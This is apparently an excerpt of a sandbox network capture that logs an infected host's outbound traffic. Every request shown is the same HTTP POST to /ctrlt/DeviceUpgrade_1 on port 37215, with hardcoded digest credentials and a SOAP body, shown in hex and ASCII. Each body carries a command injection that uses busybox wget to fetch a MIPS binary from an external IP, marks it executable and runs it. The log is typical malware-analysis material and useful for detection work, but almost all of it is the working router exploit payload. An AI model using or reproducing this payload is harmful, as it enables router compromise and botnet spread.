Dec 30, 2023 07:17:13.005779028 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	47844	156.254.50.222	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:17:09.879450083 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:11.437835932 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:13.261589050 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	57988	94.122.92.82	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:17:11.179790020 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:12.685817003 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:14.445532084 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	48108	45.207.135.214	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:17:11.758481979 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:13.325661898 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
